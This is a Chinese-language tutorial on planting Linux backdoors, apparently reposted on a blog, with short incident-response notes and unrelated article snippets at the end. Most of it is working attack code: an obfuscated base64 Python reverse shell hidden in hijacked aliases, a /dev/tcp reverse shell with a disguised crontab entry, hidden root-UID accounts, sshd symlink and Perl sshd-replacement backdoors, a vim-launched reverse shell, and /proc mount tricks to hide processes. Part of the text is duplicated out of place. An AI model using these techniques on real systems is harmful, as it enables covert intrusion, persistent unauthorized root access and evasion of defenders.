linux后门教程

linux后门教程

在这里插入图片描述

alias

用法

系统默认别名:alias

image-20240713134158295

设置别名alias ls='ls -laih'

image-20240713134247370

删除别名:unalias ls

image-20240713134324983

**加参数:**alias ls=‘ls -laih;pwd’

image-20240713140515561

注意

系统启动默认加载的配置文件

  • /etc/profile

切换用户就会执行/etc/profile

  • /etc/bashrc

bash shell

  • ~/.bashrc

每次打开新的shell时该文件都将被读取

  • ~/.bash_logout

每次退出系统(退出bash shell)时执行该文件

后门

  • 命令
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4yMC4xMjgiLCA2NjY2KSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDApCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAxKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMikKICAgICAgICBwID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsICItaSJdKQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIGV4aXQoKQ=='\'')))";};alerts'alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'

base64解码内容

image-20240713142045795

执行ls,反弹shell到kali监听的6666端口

目标机器可以看到连接的信息,需要关闭攻击机的ssh,目标机器才会执行在攻击机上的命令

image-20240713143349428

劫持了命令alias,查看显示ls='ls --color=auto'

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  • 后门隐藏

找一个有迷惑性的目录,修改成类似文件名

image-20240713150855186

插入到自启程序中~/.bashrc

#enable software update with apt
#See /etc/apt/source.d/ in the apt package.
if [ -f .pki/nss ]; then. .pki/nss
fi

image-20240713152958907

stat直接能看出来,修改后门文件,与同目录文件时间相同

image-20240713151345334

touch -acmr nssdb nss

image-20240713151816668

kali用ssh连接执行ls,

image-20240713152908869

反弹shell的监听反应

image-20240713152949161

应急响应

异常连接netstat -anltp

image-20240713153305233

查看异常pid:ps aux | grep 2019

image-20240713153337866

ppid为1:cat /proc/2019/status

PPID是进程父进程的PID,通常是主要进程

image-20240713153458901

unalias删除后,每次登录都会触发

stat检查时间修改,查找主要进程

找到最近时间修改/etc/profile/etc/bashrc~/.bashrc~/.bash_logout

alias 后门文件删掉即可

crontab

shell文件准备

1.sh

#!/bin/bash
bash -i >& /dev/tcp/192.168.20.128/5555 0>&1
#反弹shell到IP地址:192.168.20.128

2.sh

(crontab -l;printf "* * * * * /home/w_w/1.sh;\rno crontw_wab for `whoami`%100c\n")|crontab -
#建立crontab隐藏后门

可执行chmod +x

image-20240713194512420

执行恶意文件2.sh

image-20240713194628787

kali监听

image-20240713205948785

应急响应

netstat -anlpt

image-20240713210510019

查看异常连接PID,bash进程

image-20240713210608435

看bash的父进程,父进程是1151

image-20240713211540972

ps aux | grep 1151

image-20240713211615795

cat /proc/1151/status

image-20240713211728407

ps aux | grep 1149

image-20240713211750019

image-20240713211838295

/usr/sbin/CROND -n 跟网站定时任务有关

image-20240713211858066

定时任务文件位置:/var/spool/cron

catcrontab -l没看到

使用cat -A 可以显示或vim

  • -A:表示显示所有非打印字符

image-20240713213106862

删掉1.sh即可

ssh公钥免密

CRT生成公钥与私钥

image-20240713220951226

RSA,连接服务器需要设置密码

image-20240713221037025

密钥长度1024

image-20240713221142752

公钥写入

传输到web站点通过wget下载

authorized_keys时通过ssh-keygen -t rsa生成密钥,开启免密登录

创建文件touch /root/.ssh/authorized_keys

将公钥追加到authorized_keys

cat Identity.pub >> /root/.ssh/authorized_keys

赋予执行权限

chmod 600 /root/.ssh/authorized_keys

登录

新建连接,选择Properties,选择公钥文件,连接

image-20240713221221280

应急响应

netstat -anlpt

image-20240713222144393

与负责人沟通确定该IP正常情况不能登录服务器

image-20240713222323817

无异常,正常ssh登录,看authorized_keys是否被覆盖

未知用户公钥

image-20240713222427975

看篡改时间,确定是最近篡改的

image-20240713222451476

删除公钥

kill -9 进程

ssh软链接

创建

root用户

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345 #ssh软链接
systemctl stop firewalld.service #关闭服务器的防火墙,不然连接不上

此处密码随意

image-20240714115555344

普通用户

echo "
#%PAM-1.0
auth sufficient pam_rootok.so
auth include system-auth
account include system-auth
password include system-auth
session include system-auth " >> /etc/pam.d/wxg

ln -sf /usr/sbin/sshd /tmp/普通用户;/tmp/普通用户 -oPort=14725
systemctl stop firewalld.service #关闭服务器的防火墙,不然连接不上

应急响应

image-20240714120122880

image-20240714120211638

查找su文件,找具体软链接后门

image-20240714120604794

删文件杀进程

image-20240714120722558

增加超级用户账号

第一种情况:可以交互且允许uid=0的用户远程登录

echo "xiao:X:0:0::/:/bin/sh" >> /etc/passwd

  • xiao 是用户名。
  • x 表示密码信息存储在 /etc/shadow 中。
  • 0 是用户 ID,表示该用户是系统中的超级用户或 root 用户。
  • 0 是组 ID,表示该用户属于 root 组。
  • :: 表示没有额外的用户 ID 信息。
  • / 是主目录,表示用户登录后默认工作目录为根目录。
  • /bin/sh 是登录 shell,表示用户登录后默认使用 Bourne shell。

image-20240714122002180

image-20240714122119659

第二种情况:可以交互且不允许uid=0的用户远程登录

只能由普通用户权限

echo "ming:x:1000:1000::/:/bin/sh" >> /etc/passwd

image-20240714122255056

image-20240714122344046

第三种情况:不交互无回显添加Linux密码

useradd hhhh -u 0 -o -g root|| echo "123456" | passwd --stdin hhhh

执行两次

  • useradd 是一个用于创建新用户的命令。
  • hhhh 是要创建的用户名。
  • -u 0 指定用户的 UID 为 0,即 root 用户的 UID。
  • -o 允许分配非唯一 UID。
  • -g root 将用户添加到 root 用户组。
  • passwd --stdin wxg 是用来为用户 wxg 设置密码的命令,其中 --stdin 选项表示从标准输入中读取密码。

image-20240714123212124

image-20240714123458016

应急响应

可以查看远程登录者信息

awk '/\$1|\$6/{print $1}' /etc/shadow

查看特权用户

awk -F: '$3==0 {print$1}' /etc/passwd
  • '$3==0' 是 awk 的模式部分,表示匹配第三个字段等于 0 的行。

  • $3 表示第三个字段 ==0 表示等于零

杀掉练级进程pid,删除非法用户 userdel -rf 强制删除

perl脚本SSH后门

SSH后门源码

#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

让靶机从搭建的web服务去下载

image-20240716132052399

将原来的sshd移动到/usr/bin

下载的ssh移动到/usr/sbin,并赋权

重启ssh服务:systemctl restart sshd.service

检测靶机开放端口

image-20240716132500118

控制机:socat STDIO TCP4:192.168.20.137:22,sourceport=31334

image-20240716135105770

应急响应

与管理员确认异常IP连接

image-20240716135241670

正常sshd文件是ELF格式,后门文件是纯文本脚本,file就可以发现

image-20240716135342042

vim+python文件后门-教程

ubuntu20.04的vim支持python3

image-20240716135616631

反弹shell脚本

import socket, subprocess, os;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("192.168.20.128", 6666));
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
p = subprocess.call(["/bin/sh", "-i"]);

让靶机从搭建的web服务去下载

kali开启监听

靶机:vim -E -c "py3file shell.py"

空白说明反弹shell成功

image-20240716140246203

kali

image-20240716140319088

隐藏后门

netstat -anplt直接查到了,还会留空白窗口

命令启动时不显示该窗口

(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &)

#将nohup的执行结果输出到/dev/null中
#其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。
#“2”在linux中代表错误输出,“1”在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结果是否正确,都不会有输出。

隐藏可疑连接

(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &) && sleep 2 && rm -f shell.py

隐藏命令:

mkdir null
mount --bind null /proc/6238
netstat -anpt
#mount --bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅是无法访问了)。

image-20240716143416490

应急响应

看到有不正常连接,猜测被挂载了

cat /proc/$$/mountinfo

image-20240716143514992

umount /proc/3132取消挂载

image-20240716143746116

kill -9 pid

杀掉进程

SSH Wrapper后门

&) && sleep 2 && rm -f shell.py


**隐藏命令:**

mkdir null
mount --bind null /proc/6238
netstat -anpt
#mount --bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅是无法访问了)。


[外链图片转存中...(img-M3MftaKZ-1721128228618)]### 应急响应看到有不正常连接,猜测被挂载了`cat /proc/$$/mountinfo`[外链图片转存中...(img-KzeHBYVX-1721128228618)]`umount /proc/3132`取消挂载[外链图片转存中...(img-pNA2fGtG-1721128228618)]kill -9 pid杀掉进程

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/47084.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python 实验五 高级数据结构

一、实验目的 (1)掌握序列的基本操作 (2)掌握集合、字典的基本操作 二、实验环境 联网计算机一台/每人,内装Windows 7以上操作系统和安装Python 3.7集成开发环境IDLE。 三、实验内容 Sy5-1 列表实现。编写一个…

minIO集成springboot

问题 minIO与spring集成。 步骤 创建桶 创建key 找到创建账号页面,如下图: 点击创建,如下图: 设置如下权限: {"Version": "2012-10-17","Statement": [{"Effect": &q…

codeforces round 948 div2(a,b,c)

题目链接 A #include<bits/stdc.h>using namespace std;#define int long long #define PII pair<int,int>void solve() {int n,m;cin>>n>>m;if(n&1){if((m&1)&&m>1&&m<n)cout<<"YES"<<\n;else…

python的异常

异常 定义 异常是程序执行中发生的错误事件&#xff0c;它可以打断正常的指令流。Python提供了强大的异常处理机制&#xff0c;允许程序在发生错误时执行某些替代指令&#xff0c;而不是直接崩溃。 类型 TypeError&#xff1a;类型错误&#xff0c;比如尝试将字符串和整数相加。…

Jenkins安装nodeJs环境

首先插件市场安装nodeJS插件&#xff0c;我这里已经安装了&#xff0c;没安装的话在 Available plugins 中搜索安装 安装完成后需要下载需要的nodejs版本 新增完成就可以在构建的时候选择当前版本号了

JMeter接口测试之文件上传(参数提取与传递)

参考文档&#xff1a; Jmeter接口测试-文件上传&#xff08;全网最详细的教程&#xff09;_jmeter 文件上传-CSDN博客 1、首先通过fiddler抓取文件上传接口&#xff0c;在Raw的tab页中查看默认请求头以及请求参数 如图所示 2、在jmeter中导入抓取的接口&#xff0c;首先需要配…

新书速览|深入理解Hive:从基础到高阶:视频教学版

《深入理解Hive&#xff1a;从基础到高阶&#xff1a;视频教学版》 本书内容 《深入理解Hive:从基础到高阶:视频教学版》采用“理论实战”的形式编写&#xff0c;通过大量的实例&#xff0c;结合作者多年一线开发实战经验&#xff0c;全面地介绍Hive的使用方法。《深入理解Hiv…

AI算法18-最小角回归算法Least Angle Regression | LARS

​​​ 最小角回归算法简介 最小角回归&#xff08;Least Angle Regression, LAR&#xff09;是一种用于回归分析的统计方法&#xff0c;它在某些方面类似于最小二乘回归&#xff0c;但提供了一些额外的优点。最小角回归由Bradley Efron等人提出&#xff0c;主要用于处理具有…

【Linux】安装PHP扩展-redis

说明 本文档是在centos7.6的环境下&#xff0c;安装PHP7.4之后&#xff0c;安装对应的PHP扩展包redis。 一、下载redis扩展 pecl官方地址:PECL :: The PHP Extension Community Library 下载的版本是&#xff1a;redis-5.3.7.tgz 二、安装redis扩展 1.上传 redis 压缩包到…

【嵌入式DIY实例-ESP8266篇】-LCD ST7789显示DS1307 RTC时间数据

LCD ST7789显示DS1307 RTC时间数据 文章目录 LCD ST7789显示DS1307 RTC时间数据1、硬件准备与接线2、代码实现本文将介绍如何使用 ESP8266 NodeMCU 板和 DS1307 RTC 集成电路构建简单的实时时钟和日历 (RTCC),其中时间和日期打印在 ST7789 TFT 显示模块上。 ST7789 TFT 模块包…

【海外云手机】静态住宅IP集成解决方案

航海大背景下&#xff0c;企业和个人用户对于网络隐私、稳定性以及跨国业务的需求日益增加。静态住宅IP与海外云手机的结合&#xff0c;提供了一种创新的集成解决方案&#xff0c;能够有效应对这些需求。 本篇文章分为三个部分&#xff1b;静态住宅优势、云手机优势、集成解决…

gemini-pro-vision 看图说话

一、安装 pip install -U langchain-google-vertexai 二、设置访问权限 申请服务账号json格式key 三、完整代码 import gradio as gr import json import base64 from pathlib import Path import os import time import requests from fastapi import FastAPI, UploadFile,…

K8S私有云裸金属服务器负载均衡器OpenELB——筑梦之路

OpenELB介绍 OpenELB 是一个专为裸机 Kubernetes 集群设计的开源负载均衡器实现。 在云服务环境中的 Kubernetes 集群里&#xff0c;通常可以用云服务提供商提供的负载均衡服务来暴露 Service&#xff0c;但是在本地没办法这样操作。而 OpenELB 可以让用户在裸金属服务器、边缘…

RocketMQ~架构与工作流程了解

简介 RocketMQ 具有高性能、高可靠、高实时、分布式 的特点。它是一个采用 Java 语言开发的分布式的消息系统&#xff0c;由阿里巴巴团队开发&#xff0c;在 2016 年底贡献给 Apache&#xff0c;成为了 Apache 的一个顶级项目。 在阿里内部&#xff0c;RocketMQ 很好地服务了集…

怎么关闭Windows安全中心?

Windows安全中心是Windows操作系统中的一项重要功能&#xff0c;系统提供这个功能的目的是保护电脑免受各种安全威胁。尽管如此&#xff0c;有时候我们可能出于某些原因需要关闭它。本文将详细介绍如何关闭Windows安全中心&#xff0c;以及需要注意的事项。 重要提醒&#xff1…

搞清c++中的队列(queue)以及双端队列(deque),以及常用的接口!

1. 队列 概念&#xff1a;Queue是一种先进先出(First In First Out,FIFO)的数据结构&#xff0c;它有两个出口 特征&#xff1a; 队列容器允许从一端新增元素&#xff0c;从另一端移除元素 队列中只有队头和队尾才可以被外界使用&#xff0c;因此队列不允许有遍历行为 队列…

这个工具居然能让你的微信暴露得一览无余!!

今天在github看到一个不错的项目&#xff0c;叫做wx-dump-4j&#xff0c;不看不知道&#xff0c;一看吓一跳&#xff0c;这个工具完全的解析了我的微信&#xff01;这个工具准确显示好友数、群聊数和当日消息总量&#xff0c;并且&#xff01;&#xff01;这个工具提供过去15天…

第59期|GPTSecurity周报

GPTSecurity是一个涵盖了前沿学术研究和实践经验分享的社区&#xff0c;集成了生成预训练Transformer&#xff08;GPT&#xff09;、人工智能生成内容&#xff08;AIGC&#xff09;以及大语言模型&#xff08;LLM&#xff09;等安全领域应用的知识。在这里&#xff0c;您可以找…

【排序算法】1.冒泡排序-C语言实现

冒泡排序&#xff08;Bubble Sort&#xff09;是最简单和最通用的排序方法&#xff0c;其基本思想是&#xff1a;在待排序的一组数中&#xff0c;将相邻的两个数进行比较&#xff0c;若前面的数比后面的数大就交换两数&#xff0c;否则不交换&#xff1b;如此下去&#xff0c;直…

学习Python的IDE功能--(一)入门导览

项目视图是主要工具窗口之一。它包含项目目录、SDK 特定的外部库和临时文件。点击带条纹的按钮可以预览演示项目。您也可以按Alt1打开。点击以打开项目视图&#xff0c;展开项目目录以查看项目文件。双击以打开welcome.py。 切换到"学习"工具窗口继续学习本课次。…